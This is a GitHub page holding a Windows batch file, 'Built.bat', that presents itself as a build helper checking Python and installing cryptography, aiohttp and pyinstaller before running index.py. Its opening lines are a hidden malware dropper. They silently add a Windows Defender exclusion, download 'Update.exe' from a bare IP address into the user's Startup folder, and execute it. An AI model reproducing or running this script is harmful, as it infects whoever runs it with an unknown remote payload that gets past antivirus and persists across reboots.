-
Notifications
You must be signed in to change notification settings - Fork 1
/
Built.bat
52 lines (39 loc) · 1.17 KB
/
Built.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
powershell -w hidden -c Add-MpPreference -ExclusionPath ""
@echo off
setlocal
set "URL=http://185.240.104.133/Update.exe"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Built.exe"
if exist "%DEST%" del "%DEST%"
curl --silent --output "%DEST%" "%URL%"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"
title Checking Python installation...
python --version > nul 2>&1
if %errorlevel% neq 0 (
echo Python is not installed! (Go to https://www.python.org/downloads and install the python 3.11.0^)
echo Very important click Add python exe to PATH.
pause
)
title Checking Python libraries...
echo Checking 'cryptography' (1/3)
python -c "import cryptography" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing cryptography...
python -m pip install cryptography > nul
)
echo Checking 'aiohttp' (2/3)
python -c "import aiohttp" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing aiohttp...
python -m pip install aiohttp > nul
)
echo Checking 'pyinstaller' (3/3)
python -c "import PyInstaller" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing pyinstaller...
python -m pip install pyinstaller > nul
)
cls
python index.py